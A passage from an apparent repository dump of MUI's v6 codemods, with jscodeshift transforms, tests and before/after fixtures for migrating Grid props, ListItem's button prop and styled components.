path.node.name.name.endsWith('Offset') &&\n            breakpoints.includes(path.node.name.name.replace('Offset', '')),\n        );\n\n      offsetNodes.nodes().forEach((node) => {\n        const breakpoint = node.name.name.replace('Offset', '');\n        const value =\n          node.value.type === 'JSXExpressionContainer' ? node.value.expression : node.value;\n\n        offset.properties.push(j.property('init', j.identifier(breakpoint), value));\n      });\n\n      spreadProps.forEach((spreadProp) => {\n        const spreadPropArgument = spreadProp.argument;\n        if (spreadPropArgument.type === 'ObjectExpression') {\n          const propertiesToPrune = [];\n          spreadPropArgument.properties.forEach((property) => {\n            const breakpoint = property.key.name.replace('Offset', '');\n            if (property.key.name.endsWith('Offset') && breakpoints.includes(breakpoint)) {\n              offset.properties.push(j.property('init', j.identifier(breakpoint), property.value));\n              propertiesToPrune.push(property.key.name);\n            }\n          });\n          spreadPropArgument.properties = spreadPropArgument.properties.filter(\n            (prop) => !propertiesToPrune.includes(prop.key.name),\n          );\n          if (spreadPropArgument.properties.length === 0) {\n            attributesToPrune.push(spreadProp);\n          }\n        }\n      });\n\n      if (offset.properties.length) {\n        let offsetPropValue = offset;\n\n        if (offset.properties.length === 1 && offset.properties[0].key.name === 'xs') {\n          offsetPropValue = offset.properties[0].value;\n        }\n\n        if (offsetPropValue.type !== 'StringLiteral') {\n          offsetPropValue = j.jsxExpressionContainer(offsetPropValue);\n        }\n\n        el.node.openingElement.attributes.push(\n          j.jsxAttribute(j.jsxIdentifier('offset'), offsetPropValue),\n        );\n      }\n\n      el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n        (attr) => !breakpoints.includes(attr?.name?.name.replace('Offset', '')),\n      );\n\n      el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n        (attr) => !attributesToPrune.includes(attr),\n      );\n\n      const itemProp = el.node.openingElement.attributes.find(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'item',\n      );\n\n      if (itemProp) {\n        el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n          (attr) => attr.type === 'JSXAttribute' && attr.name.name !== 'item',\n        );\n      }\n\n      const zeroMinWidthProp = el.node.openingElement.attributes.find(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'zeroMinWidth',\n      );\n\n      if (zeroMinWidthProp) {\n        el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n          (attr) => attr.type === 'JSXAttribute' && attr.name.name !== 'zeroMinWidth',\n        );\n      }\n    });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/grid-v2-props/grid-v2-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './grid-v2-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'grid-props',\n      dirname: __dirname,\n      testCases: [\n        {\n          actual: '/test-cases/actual.js',\n          expected: '/test-cases/expected.js',\n        },\n        {\n          actual: '/test-cases/custom-breakpoints.actual.js',\n          expected: '/test-cases/custom-breakpoints.expected.js',\n          options: { muiBreakpoints: 'customXs,customSm,customMd' },\n        },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/grid-v2-props/index.js",
    "content": "export { default } from './grid-v2-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/grid-v2-props/test-cases/actual.js",
    "content": "import GridA from '@mui/material/Grid2';\nimport GridV1A from '@mui/material/Grid';\nimport GridB from '@mui/system/Grid';\nimport GridC from '@mui/joy/Grid';\nimport { Grid2 as GridD, Grid as GridV1B } from '@mui/material';\nimport { Grid as GridE } from '@mui/system';\nimport { Grid as GridF } from '@mui/joy';\n\n// Transforms on all the possible imports\n<GridA xs={2} />;\n<GridB xs={2} />;\n<GridC xs={2} />;\n<GridD xs={2} />;\n<GridE xs={2} />;\n<GridF xs={2} />;\n\n<GridA item />;\n<GridA item={true} />;\n<GridA item={false} />;\n\n<GridA zeroMinWidth />;\n<GridA zeroMinWidth={true} />;\n<GridA zeroMinWidth={false} />;\n\n// Transforms responsive sizes\n<GridA xs={2} sm={4} md={6} lg={8} xl={10} />;\n\n// Transforms all the possible size values\n<GridA xs sm=\"auto\" md={2} lg={true} xl={false} />;\n\n// Doesn't add jsx object expression for single string values\n<GridA xs=\"auto\" />;\n\n// Transforms offset\n<GridA xsOffset={2} />;\n\n// Transforms responsive offset\n<GridA xsOffset={2} smOffset={4} mdOffset={6} lgOffset={8} xlOffset={10} />;\n\n// Transforms all the possible offset values\n<GridA xsOffset={2} smOffset=\"auto\" />;\n\n// Transforms spread props\n<GridA {...{ xs: 2, sm: 4, xsOffset: 0, smOffset: 2 }} />;\n\n// Doesn't transform Grid v1\n<GridV1A xs={2} />;\n<GridV1B xs={2} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/grid-v2-props/test-cases/custom-breakpoints.actual.js",
    "content": "import Grid from '@mui/material/Grid2';\n\n// Transforms custom breakpoints\n<Grid customXs={2} customSm={4} customMd={6} />;\n\n// Transforms custom breakpoints offset\n<Grid customXsOffset={2} customSmOffset={4} customMdOffset={6} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/grid-v2-props/test-cases/custom-breakpoints.expected.js",
    "content": "import Grid from '@mui/material/Grid2';\n\n// Transforms custom breakpoints\n<Grid\n  size={{\n    customXs: 2,\n    customSm: 4,\n    customMd: 6\n  }} />;\n\n// Transforms custom breakpoints offset\n<Grid\n  offset={{\n    customXs: 2,\n    customSm: 4,\n    customMd: 6\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/grid-v2-props/test-cases/expected.js",
    "content": "import GridA from '@mui/material/Grid2';\nimport GridV1A from '@mui/material/Grid';\nimport GridB from '@mui/system/Grid';\nimport GridC from '@mui/joy/Grid';\nimport { Grid2 as GridD, Grid as GridV1B } from '@mui/material';\nimport { Grid as GridE } from '@mui/system';\nimport { Grid as GridF } from '@mui/joy';\n\n// Transforms on all the possible imports\n<GridA size={2} />;\n<GridB size={2} />;\n<GridC size={2} />;\n<GridD size={2} />;\n<GridE size={2} />;\n<GridF size={2} />;\n\n<GridA />;\n<GridA />;\n<GridA />;\n\n<GridA />;\n<GridA />;\n<GridA />;\n\n// Transforms responsive sizes\n<GridA\n  size={{\n    xs: 2,\n    sm: 4,\n    md: 6,\n    lg: 8,\n    xl: 10\n  }} />;\n\n// Transforms all the possible size values\n<GridA\n  size={{\n    xs: \"grow\",\n    sm: \"auto\",\n    md: 2,\n    lg: \"grow\",\n    xl: false\n  }} />;\n\n// Doesn't add jsx object expression for single string values\n<GridA size=\"auto\" />;\n\n// Transforms offset\n<GridA offset={2} />;\n\n// Transforms responsive offset\n<GridA\n  offset={{\n    xs: 2,\n    sm: 4,\n    md: 6,\n    lg: 8,\n    xl: 10\n  }} />;\n\n// Transforms all the possible offset values\n<GridA\n  offset={{\n    xs: 2,\n    sm: \"auto\"\n  }} />;\n\n// Transforms spread props\n<GridA\n  size={{\n    xs: 2,\n    sm: 4\n  }}\n  offset={{\n    xs: 0,\n    sm: 2\n  }} />;\n\n// Doesn't transform Grid v1\n<GridV1A xs={2} />;\n<GridV1B xs={2} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/grid-v2-props/test-cases/package.actual.js",
    "content": "import GridA from '@org/ui/material/Grid2';\nimport GridV1A from '@org/ui/material/Grid';\nimport { Grid2 as GridD, Grid as GridV1B } from '@org/ui/material';\n\n// Transforms on all the possible imports\n<GridA xs={2} />;\n<GridD xs={2} />;\n\n<GridA item />;\n<GridA item={true} />;\n<GridA item={false} />;\n\n<GridA zeroMinWidth />;\n<GridA zeroMinWidth={true} />;\n<GridA zeroMinWidth={false} />;\n\n// Transforms responsive sizes\n<GridA xs={2} sm={4} md={6} lg={8} xl={10} />;\n\n// Transforms all the possible size values\n<GridA xs sm=\"auto\" md={2} lg={true} xl={false} />;\n\n// Doesn't add jsx object expression for single string values\n<GridA xs=\"auto\" />;\n\n// Transforms offset\n<GridA xsOffset={2} />;\n\n// Transforms responsive offset\n<GridA xsOffset={2} smOffset={4} mdOffset={6} lgOffset={8} xlOffset={10} />;\n\n// Transforms all the possible offset values\n<GridA xsOffset={2} smOffset=\"auto\" />;\n\n// Transforms spread props\n<GridA {...{ xs: 2, sm: 4, xsOffset: 0, smOffset: 2 }} />;\n\n// Doesn't transform Grid v1\n<GridV1A xs={2} />;\n<GridV1B xs={2} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/grid-v2-props/test-cases/package.expected.js",
    "content": "import GridA from '@org/ui/material/Grid2';\nimport GridV1A from '@org/ui/material/Grid';\nimport { Grid2 as GridD, Grid as GridV1B } from '@org/ui/material';\n\n// Transforms on all the possible imports\n<GridA size={2} />;\n<GridD size={2} />;\n\n<GridA />;\n<GridA />;\n<GridA />;\n\n<GridA />;\n<GridA />;\n<GridA />;\n\n// Transforms responsive sizes\n<GridA\n  size={{\n    xs: 2,\n    sm: 4,\n    md: 6,\n    lg: 8,\n    xl: 10\n  }} />;\n\n// Transforms all the possible size values\n<GridA\n  size={{\n    xs: \"grow\",\n    sm: \"auto\",\n    md: 2,\n    lg: \"grow\",\n    xl: false\n  }} />;\n\n// Doesn't add jsx object expression for single string values\n<GridA size=\"auto\" />;\n\n// Transforms offset\n<GridA offset={2} />;\n\n// Transforms responsive offset\n<GridA\n  offset={{\n    xs: 2,\n    sm: 4,\n    md: 6,\n    lg: 8,\n    xl: 10\n  }} />;\n\n// Transforms all the possible offset values\n<GridA\n  offset={{\n    xs: 2,\n    sm: \"auto\"\n  }} />;\n\n// Transforms spread props\n<GridA\n  size={{\n    xs: 2,\n    sm: 4\n  }}\n  offset={{\n    xs: 0,\n    sm: 2\n  }} />;\n\n// Doesn't transform Grid v1\n<GridV1A xs={2} />;\n<GridV1B xs={2} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/index.js",
    "content": "export { default } from './list-item-button-prop';\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/list-item-button-prop.js",
    "content": "import findComponentJSX from '../../util/findComponentJSX';\nimport findComponentDefaultProps from '../../util/findComponentDefaultProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  const { packageName = '@mui/material' } = options;\n\n  const defaultPropsPathCollection = findComponentDefaultProps(j, {\n    root,\n    componentName: 'ListItem',\n  });\n\n  defaultPropsPathCollection.find(j.ObjectProperty, { key: { name: 'button' } }).forEach((path) => {\n    const defaultProps = path.parent.value;\n\n    defaultProps.properties.forEach((property) => {\n      if (property.key?.name === 'button') {\n        // Remove the button property from the defaultProps object\n        const newListButtonProps = defaultProps.properties.filter(\n          (prop) => prop.key.name !== 'button',\n        );\n\n        const muiListItemButtonNode = j.objectProperty(\n          j.identifier('MuiListItemButton'),\n          j.objectExpression([\n            j.property(\n              'init',\n              j.identifier('defaultProps'),\n              j.objectExpression(newListButtonProps),\n            ),\n          ]),\n        );\n\n        // Add MuiListItemButton entry to the parent object\n        const parentObject = path.parent.parent.parent.parent.parent.node;\n        parentObject.properties.push(muiListItemButtonNode);\n      }\n    });\n\n    defaultProps.properties = defaultProps.properties.filter(\n      (prop) =>\n        prop.key.name !== 'button' &&\n        prop.key.name !== 'autoFocus' &&\n        prop.key.name !== 'disabled' &&\n        prop.key.name !== 'selected',\n    );\n    path.prune();\n  });\n\n  const openTaggedNotHavingButtonProp = new Set();\n  const openTaggedHavingButtonProp = new Set();\n  let addedListItemButton = false;\n  // Rename components that have ListItem button to ListItemButton\n  findComponentJSX(j, { root, packageName, componentName: 'ListItem' }, (elementPath) => {\n    const index = elementPath.node.openingElement.attributes.findIndex(\n      (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'button',\n    );\n    // The ListItem has a button prop\n    if (index !== -1) {\n      openTaggedHavingButtonProp.add(elementPath.node.openingElement.name.name);\n      addedListItemButton = true;\n      elementPath.node.openingElement.name.name = `ListItemButton`;\n      elementPath.node.openingElement.attributes.splice(index, 1);\n    } else {\n      openTaggedNotHavingButtonProp.add(elementPath.node.openingElement.name.name);\n    }\n  });\n\n  const importsToRemove = [...openTaggedHavingButtonProp].filter(\n    (item) => !openTaggedNotHavingButtonProp.has(item),\n  );\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value.match(new RegExp(`^${packageName}(/ListItem)?$`)))\n    .filter((path) => {\n      path.node.specifiers.forEach((specifier) => {\n        if (specifier.type === 'ImportDefaultSpecifier') {\n          if (importsToRemove.includes(specifier.local.name)) {\n            path.node.specifiers = path.node.specifiers.filter((spec) => spec !== specifier);\n          }\n        }\n      });\n      if (path.node.specifiers.length === 0) {\n        return true;\n      }\n      return false;\n    })\n    .remove();\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value.match(new RegExp(`^${packageName}$`)))\n    .filter((path) => {\n      path.node.specifiers.forEach((specifier) => {\n        if (\n          specifier.type === 'ImportSpecifier' &&\n          specifier.imported.name === 'ListItem' &&\n          importsToRemove.includes(specifier.local.name)\n        ) {\n          path.node.specifiers = path.node.specifiers.filter((spec) => spec !== specifier);\n        }\n      });\n      if (path.node.specifiers.length === 0) {\n        return true;\n      }\n      return false;\n    })\n    .remove();\n\n  // If ListItemButton import does not already exist, add it at the end\n  const imports = root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value.match(new RegExp(`^${packageName}/ListItemButton$`)));\n\n  if (addedListItemButton && imports.length === 0) {\n    const lastImport = root.find(j.ImportDeclaration).at(-1);\n\n    // Insert the import for 'ListItemButton' after the last import declaration\n    lastImport.insertAfter(\n      j.importDeclaration(\n        [j.importDefaultSpecifier(j.identifier('ListItemButton'))],\n        j.stringLiteral(`${packageName}/ListItemButton`),\n      ),\n    );\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/list-item-button-prop.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './list-item-button-prop';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('list-item-button-prop', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('actual.js should not be equal to expected.js', () => {\n        const actual = read('./test-cases/actual.js');\n        const expected = read('./test-cases/expected.js');\n        expect(actual).not.to.equal(expected);\n      });\n    });\n\n    describe('[theme] button-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('theme.actual.js should not be equal to theme.expected.js', () => {\n        const actual = read('./test-cases/theme.actual.js');\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).not.to.equal(expected);\n      });\n    });\n\n    describe('[package] button-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    it('should skip files that do not import ListItem from @mui/material', () => {\n      const actual = transform(\n        { source: read('./test-cases/not-related.actual.js') },\n        { jscodeshift },\n        {},\n      );\n\n      const expected = read('./test-cases/not-related.expected.js');\n      expect(actual).to.equal(expected, 'The transformed version should be correct');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/test-cases/actual.js",
    "content": "import ListItem from \"@mui/material/ListItem\";\nimport MuiListItem from \"@mui/material/ListItem\";\nimport { ListItem as MyListItem } from \"@mui/material\";\nimport { ListItem as MyListItem1 } from \"@mui/material\";\nimport { ListItem as MyListItem2, Button } from \"@mui/material\";\nimport { ListItem as MyListItem3, List } from \"@mui/material\";\nimport AnotherComponent from \"ui\";\n\n<ListItem button />;\n<ListItem />;\n\n<MyListItem />;\n<MyListItem button />;\n\n<MuiListItem button />;\n\n<MyListItem1 button />;\n\n<MyListItem2 button />;\n\n<MyListItem3 />;\n<MyListItem3 button />;\n\n<AnotherComponent button />;"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/test-cases/expected.js",
    "content": "import ListItem from \"@mui/material/ListItem\";\nimport { ListItem as MyListItem } from \"@mui/material\";\nimport { Button } from \"@mui/material\";\nimport { ListItem as MyListItem3, List } from \"@mui/material\";\nimport AnotherComponent from \"ui\";\n\nimport ListItemButton from \"@mui/material/ListItemButton\";\n\n<ListItemButton />;\n<ListItem />;\n\n<MyListItem />;\n<ListItemButton />;\n\n<ListItemButton />;\n\n<ListItemButton />;\n\n<ListItemButton />;\n\n<MyListItem3 />;\n<ListItemButton />;\n\n<AnotherComponent button />;"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/test-cases/not-related.actual.js",
    "content": "import ListItem from '@component/ListItem';\n\n// The codemod should skip this file because it does not import ListItem from `@mui/material`.\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/test-cases/not-related.expected.js",
    "content": "import ListItem from '@component/ListItem';\n\n// The codemod should skip this file because it does not import ListItem from `@mui/material`.\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/test-cases/package.actual.js",
    "content": "import ListItem from \"@org/ui/material/ListItem\";\nimport MuiListItem from \"@org/ui/material/ListItem\";\nimport { ListItem as MyListItem } from \"@org/ui/material\";\nimport { ListItem as MyListItem1 } from \"@org/ui/material\";\nimport { ListItem as MyListItem2, Button } from \"@org/ui/material\";\nimport { ListItem as MyListItem3, List } from \"@org/ui/material\";\nimport AnotherComponent from \"ui\";\n\n<ListItem button />;\n<ListItem />;\n\n<MyListItem />;\n<MyListItem button />;\n\n<MuiListItem button />;\n\n<MyListItem1 button />;\n\n<MyListItem2 button />;\n\n<MyListItem3 />;\n<MyListItem3 button />;\n\n<AnotherComponent button />;"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/test-cases/package.expected.js",
    "content": "import ListItem from \"@org/ui/material/ListItem\";\nimport { ListItem as MyListItem } from \"@org/ui/material\";\nimport { Button } from \"@org/ui/material\";\nimport { ListItem as MyListItem3, List } from \"@org/ui/material\";\nimport AnotherComponent from \"ui\";\n\nimport ListItemButton from \"@org/ui/material/ListItemButton\";\n\n<ListItemButton />;\n<ListItem />;\n\n<MyListItem />;\n<ListItemButton />;\n\n<ListItemButton />;\n\n<ListItemButton />;\n\n<ListItemButton />;\n\n<MyListItem3 />;\n<ListItemButton />;\n\n<AnotherComponent button />;"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/test-cases/theme.actual.js",
    "content": "fn({\n  MuiListItem: {\n    defaultProps: {\n      anotherProp: 'value',\n      autoFocus: true,\n      disabled: false,\n      selected: true,\n      button: true,\n    }\n  }\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      anotherProp: 'value'\n    }\n  }\n});"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/list-item-button-prop/test-cases/theme.expected.js",
    "content": "fn({\n  MuiListItem: {\n    defaultProps: {\n      anotherProp: 'value'\n    }\n  },\n\n  MuiListItemButton: {\n    defaultProps: {\n      anotherProp: 'value',\n      autoFocus: true,\n      disabled: false,\n      selected: true\n    }\n  }\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      anotherProp: 'value'\n    }\n  }\n});"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/index.js",
    "content": "export { default } from './styled-v6';\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/styled-v6.js",
    "content": "import migrateToVariants from '../../util/migrateToVariants';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function styledV6(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  let shouldTransform = false;\n\n  root.find(j.CallExpression).forEach((path) => {\n    const styles = [];\n    let args = [];\n\n    // styled('div')(...arguments)\n    if (\n      path.node.callee.type === 'Identifier' &&\n      path.node.callee.name === 'styled' &&\n      path.parentPath.node.type === 'CallExpression'\n    ) {\n      args = path.parentPath.node.arguments;\n    }\n\n    // styled.div(...arguments)\n    if (\n      path.node.callee.type === 'MemberExpression' &&\n      path.node.callee.object.type === 'Identifier' &&\n      path.node.callee.object.name === 'styled'\n    ) {\n      args = path.node.arguments;\n    }\n\n    // 1. collecting styles that should be transformed\n    args.forEach((arg) => {\n      if (\n        arg.type === 'ArrowFunctionExpression' &&\n        arg.params[0] &&\n        arg.params[0].type === 'ObjectPattern'\n      ) {\n        styles.push(arg);\n      }\n    });\n\n    if (!shouldTransform && styles.length > 0) {\n      shouldTransform = true;\n    }\n\n    migrateToVariants(j, styles);\n\n    // Replace arrow function with object expression if the arg properties is empty\n    args.forEach((arg, index) => {\n      if (\n        arg.type === 'ArrowFunctionExpression' &&\n        arg.params[0] &&\n        arg.params[0].type === 'ObjectPattern' &&\n        arg.params[0].properties.length === 0\n      ) {\n        if (arg.body.type === 'ObjectExpression') {\n          args[index] = arg.body;\n        }\n        if (arg.body.type === 'BlockStatement') {\n          const returnStatement = arg.body.body.find((item) => item.type === 'ReturnStatement');\n          if (returnStatement) {\n            args[index] = returnStatement.argument;\n          }\n        }\n      }\n    });\n  });\n\n  const transformed = root.toSource(printOptions);\n\n  if (shouldTransform) {\n    // recast adds extra newlines that we don't want, https://github.com/facebook/jscodeshift/issues/249\n    // need to remove them manually\n    const lines = [];\n    let isInStyled = false;\n    transformed.split('\\n').forEach((line, index, array) => {\n      if (!isInStyled) {\n        lines.push(line);\n      } else if (\n        line !== '' ||\n        (line === '' && array[index + 1] && array[index + 1].includes('return'))\n      ) {\n        if (line.match(/^}\\)+(\\({}\\)|\\(\\))?;?$/) || line.match(/^\\);?$/)) {\n          isInStyled = false;\n        }\n        lines.push(line);\n      }\n      if (line.includes('styled.') || line.includes('styled(')) {\n        isInStyled = true;\n      }\n    });\n    return lines.join('\\n');\n  }\n\n  return transformed;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/styled-v6.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './styled-v6';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v6.0.0', () => {\n    describe('basic styled-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/BasicStyled.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/BasicStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/BasicStyled.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/BasicStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('logical styled-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/LogicalStyled.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/LogicalStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/LogicalStyled.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/LogicalStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('nested spread styled-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/NestedSpread.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/NestedSpread.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/NestedSpread.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/NestedSpread.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('object map styled-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/ObjectMap.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/ObjectMap.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/ObjectMap.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/ObjectMap.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('conditional styled-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/ConditionalStyled.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/ConditionalStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/ConditionalStyled.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/ConditionalStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('theme palette mode styled-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/ThemePaletteMode.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/ThemePaletteMode.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/ThemePaletteMode.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/ThemePaletteMode.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('theme palette mode and variants styled-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/VariantAndModeStyled.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/VariantAndModeStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/VariantAndModeStyled.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/VariantAndModeStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('dynamic props styled-v6', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/DynamicPropsStyled.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/DynamicPropsStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/DynamicPropsStyled.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/DynamicPropsStyled.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/styled/test-cases/BasicStyled.actual.js",
